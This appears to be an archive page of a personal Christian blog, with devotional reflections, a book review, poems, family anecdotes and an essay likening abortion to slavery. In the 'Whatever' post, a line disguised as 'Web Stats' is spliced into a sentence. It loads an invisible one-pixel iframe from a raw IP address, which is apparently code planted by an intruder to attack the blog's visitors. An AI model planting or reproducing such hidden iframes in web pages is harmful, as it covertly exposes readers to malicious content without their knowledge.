Archive for the ‘Christian Spirituality’ Category

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Trust

Monday, July 6th, 2009

If God is for us, who can be against us? He who did not spare his own Son but gave him up for us all, how will he not also with him graciously give us all things? 

Romans 8.  Hmmmm.  

This is exposing my lack of trust.

Enemies? What enemies?  God is for me.

He gave up what was most precious for me, and I’m afraid He doesn’t care?  In the words of Pete, “That don’t make no sense.”

All things?  Really?  ALL things?  

Yes, it definitely says “ALL THINGS.”  

For I am sure that neither death nor life, nor angels nor rulers, nor things present nor things to come, nor powers, nor height nor depth, nor anything else in all creation, will be able to separate us from the love of God in Christ Jesus our Lord.

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Book Review

Friday, June 5th, 2009

Here is a book review I wrote for Paul Miller’s new book A Praying Life.  I am very excited they chose it for the USA Today Faith and Reason blog. Perhaps someday I will be a contributor to the world of books, but right now I’m happy to support others doing good work.  Way to go Paul!

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Whatever

Tuesday, May 19th, 2009

I know, it\’s been WAY too long since I\’ve written anything, and I don\’t have anything burning to write at the moment, so I decided I would just list some random pieces of information.  This will be much like having a conversation with me.\r\n\r\nYesterday, Aaron said, One time, I put soap on my hand.  That was comforting.\r\n\r\nIf you want to cut hot brownies, you can use a plastic knife and they don\’t stick to it.\r\n\r\nLevi had a root canal this morning and is currently sleeping it off.  He\’s fine.\r\n\r\nI find rainy!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — days depressing.\r\n\r\nMy husband just drove our van through the front yard ???\r\n\r\nIf you dye your hair purple, a lot more people will talk to you.\r\n\r\nIf you dye your hair purple, your father will not approve.\r\n\r\nWind is air in motion.\r\n\r\nThere are squirrels living in our attic.\r\n\r\nOne time a squirrel ate my mom\’s 1970s rattan furniture.  She chased it out the back door.\r\n\r\nThat was not nearly as bad as the time the skunk got in our basement and sprayed.  \r\n\r\nNot long after the skunk incident, my grandfather gave my parents the two greatest cars Ford ever rolled off the line: a Pinto and an El Camino.  \r\n\r\nYou can use a baseball field to prove the pythagorean theorem. \r\n\r\nMy dad used the El Camino to drag the baseball field.\r\n\r\nIf a baseball player throws his glove at a ball in play, the batter gets an automatic triple, unless the ball (and glove assumedly) both go over the fence in fair territory, then it\’s still a homerun and the player loses his glove.\r\n\r\nI used to be an umpire, and I never saw that happen.\r\n\r\nI\’m currently reading The Divine Conspiracy by Dallas Willard.  It\’s very good and I highly recommend it.\r\n\r\nI\’m going to go see about my husband driving through the yard.\r\n\r\nLater Tater.

Posted in Christian Spirituality, Food, Kids, Remembering, The House, Uncategorized, books, sports | 2 Comments »

Scrutiny

Thursday, April 9th, 2009

There is a line between being thoughtful and being obsessive.  Check out this Q&A from my favorite theological website. This is one of the best answers to one of the worst questions I have ever seen.  Enjoy!

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A Place

Wednesday, December 31st, 2008

As I listened to the song Labour of Love during the Behold the Lamb of God concert a few weeks ago, I was struck by the harsh reality of the birth of Jesus. I’m sure this is not an original thought, but it really came home to me this Christmas that no one had to give up a place for Jesus.  I’m always wanting someone to give up a place for me.  Give up a place in line because I’m in a hurry.  Give up a place at the table because I’m very hungry.  Give up a parking place for me because I have a handicapped kid.  I want a place.  I need a place.  I deserve a place.  Yet Jesus, he didn’t require anyone to move so that he could have a place.  Surely, someone would have moved if they had understood that Mary was having a baby in a stable.  Surely someone would have at least let them use a room if they had understood that God was at work, even without knowing it was the Savior.  But something I realized this year as I pondered anew the quiet birth, no one asked for a special place.  There’s no record of Joseph trying to sweet talk the innkeeper or oust anyone.  There’s no evidence of a revolt from Mary when they had to use a stable as a birthing suite.  And certainly, God Himself authors the entire story and does not make a place for His Son that is in any earthly way special.  When I think of it from Mary’s perspective, I start to get upset about the lack of accommodations. When I had a baby, I was all about the accommodations.  Now I realize the first century birthing experience was hardly comparable to the luxuries of today.  So when I consider that what I went through to have a baby with all the modern conveniences of medicine took me to my knees, I can hardly comprehend what happened in that stable.  So what do we do?  We mute the colors, porcelainize the characters, give them serene faces and make it other-worldly.  I’ve always been ok with that.  But this year I couldn’t do it.  I was forced to ponder the reality of a smelly stable, cold night air, the lack of a mid-wife and the blood and the pain of childbirth.  AND in that extreme situation, there were no concessions made.  No one worked the system for a slightly better position.  No one played the “Deity” card and got the penthouse suite.  The whole thing just smacks of humility.  I guess it is so striking because I smack of pride.  So now it’s New Year’s Eve and most of us have moved on from that stable to the amazing things we’re going to accomplish in 2009.  Christmas is over and now it’s about self-renewal.  But in that stable, it was never about self.  It was always about others.  He came to make a place for others.

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You

Monday, November 17th, 2008

You hurt me

You hit me

You cut me off in traffic

Where is the justice?

You ignore me

You betray me

You live as if I don’t matter

Where is the justice?

You slander me

You laugh at me

You speak to me condescendingly

Where is the justice?

Who is You?

Whose You am I?

Where is the mercy?

Posted in Christian Spirituality, poetry | 1 Comment »

implosion

Saturday, October 25th, 2008

economic crisis

husbands walking out

mud slinging

mothers murdering children

hate mail

foreclosure

terrorism

war

mirrors

knees

tears

breath

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Two year-old adults

Monday, September 15th, 2008

If you stick around for the first 10 minutes of the two year-old class during children’s church, you can hear the children sing their favorite song: “Around and around is the name of the game and around and around and what’s YOUR name?”  The kids get to say their names one by one and then everyone sings a lively chorus of “Lindy is her name, Lindy is her name.”  The youngest ones in the class are shy and usually don’t say their names, but there’s is always an older, more verbal kid who knows everyone’s name and chimes in for the quiet ones.  By the time they graduate to the 3s class, everyone has learned to say his or her name.  

Another behavior you can see in the same class is the rule of possession.  Whatever one kid possesses is what all the other kids want.  A toy is completely uninteresting until someone else is playing with it.  Then, a struggle ensues and adult intervention is necessary.  

“Yeah, yeah, why are you bringing this up?” you say.  It’s because adults, as it turns out, are just like two year-olds.  I am flipping channels the other night and stop on PBS.  I see this lady named Suze Orman, who apparently is hot snot, but since I don’t watch Oprah and pay close attention to the Best Sellers list, she had flown under my radar until this particular night when I got to see the end of her seminar on TV.  She’s addressing a crowd of women into which I would have neatly fit.  20s to 60s professionals (well, that may be a bit of a stretch for me, but nevertheless) hanging on her every word.  On the screen behind her is the profound statement, “Say your name.”  It’s in all caps, but lest I scream…  As I listen to her, all she is doing is encouraging the women to say their names.  She says in her most polished motivational speaker voice, “I want you to say… your… name!!!”  And the women are all excited, saying their names.  She picks some out of the crowd to do it, criticizes one for her lack of gusto, I suppose, but quickly coaches her and wham, bam, thank you ma’am, she is saying… her… name!!!  (These people paid money to see her, I’m sure.)  

Then, the next day, I am listening to NPR and I hear that there has been a massive sell-out of the Japanese glasses frames and red patent peep-toe pumps that have adorned Sarah Palin on the world scene in recent days.  It’s just like the two year-old class.  I want what SHE has!!!  Like I say to my kids, “Monkey see, monkey do.”  Adults are just over-sized, not-nearly-as-cute two year-olds.  Lord save us!!!

The disciples were called Christians first at Antioch. Acts 11:26

But store up for yourselves treasures in heaven, where moth and rust do not destroy, and where thieves do not break in and steal. For where your treasure is, there your heart will be also.  Matthew 6:20-21

When will we get it that our name is His name and that our treasures cannot be contained on this earth?

Posted in Christian Spirituality, politics | No Comments »

Of Beetles & Angels

Monday, September 8th, 2008

Of Beetles & Angels is a memoir I read the other day by Mawi Asgendom.  My friend Tina gave it to me and said it was a quick read. I read it in a day. I’m sure there are many reviews of this book and now the author has a whole speaking business.  The subtitle gives you the basic idea of the book: “A boy’s remarkable journey from a refugee camp to Harvard.”  This kid from Ethiopia spent 3 years in a refugee camp in the Sudan with his family before they all moved to Wheaton, Illinois.  The struggles of his life and the issues his family had to deal with would seem insurmountable, but by the grace of God, his life was not only spared but he became someone enviable to most.  Even more remarkable to me was life of his father.  The father’s journey was the opposite of the son’s.  Where the son went from a place of poverty and complete lack of recognition to being a Harvard graduate, the father went from being a highly respected member of the medical community to being a janitor and then a disabled, unemployed refugee living in the projects.  It was the sacrifice of the father that made the son’s life possible, and the father seemed to know that going in.  He gave up everything so his son would be great.  What a picture of the gospel and what a picture of the call of all Christians.

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The slavery of our generation

Saturday, August 2nd, 2008

[This is something I wrote several years ago.  It has been published in Spanish on the web here and I have shared it with a few people.]

In our enlightened age, one can hardly imagine the narrow minds that conceived of the institution of slavery as viable, good or defensible.  We marvel at the notion that humans were disregarded based on race.  I am proud to live in a land and a time where this heinous crime against humanity is no longer practiced and our past association with it is admitted with shame.  From this perspective, we see the shallow, selfish, arrogant nature of the arguments used to defend slavery—arguments such as these:

·      Negro slaves aren’t fully human.

·      They are not able to think in the same way and on the same level white men think.

·      I purchased these slaves, therefore they are my property and I can do what I please with my own property.

·      Freeing these slaves would hurt my lifestyle and ability to live as I now do.

Many of these arguments are false.  All of them are selfish.  However, if we look closely, we will recognize some of our own rhetoric regarding an issue which is hotly debated in our day.  That issue is abortion.

When we think of civil rights movements, we think of the refutation of the shallow arguments mentioned previously.  Unfortunately, those promoting civil rights are upholding these very arguments over the issue of abortion.  Do any of these statements sound familiar?

·      A fetus is not a person.

·      A fetus is not able to think and function as I function.

·      The fetus is inside me, therefore it is a part of me, and I can do what I please with my own body.

·      Allowing this fetus to live would greatly affect my lifestyle and I would not be able to continue to live as I now do.

Are any of these reasons good reasons for abortion?  Only insofar as they are good reasons to allow one race to enslave another.  And ironically, this debate is based on freedom.  We have turned the rhetoric for slavery into rhetoric for freedom.  Where is the lie?  It’s in the idea of freedom.  Does an abortion really free a woman?  Does pregnancy really enslave a woman?  These are questions which have not been asked in this 30-year debate.  But let’s ask.  Let’s ask the women who have experienced these things.  You, sister, who had an abortion 10 years ago, are you free?  Did that procedure liberate you?  Were you not told that it would offer you these promises?  Did they lie to you?  And you, sister, who chose to keep that fetus and birth that child, are you in shackles?  Are you a slave with no hope of a life of freedom?  Find you any joy in that one you call son or daughter?  It’s time we started asking the questions.  When we do, we will expose the lie. 

It is the great crime of our time.  Abortion is not the freeing of a woman, it is the enslavement of society to shallow, selfish and arrogant thinking.  How could we have been duped a second time?

Posted in Christian Spirituality, Uncategorized, politics | No Comments »

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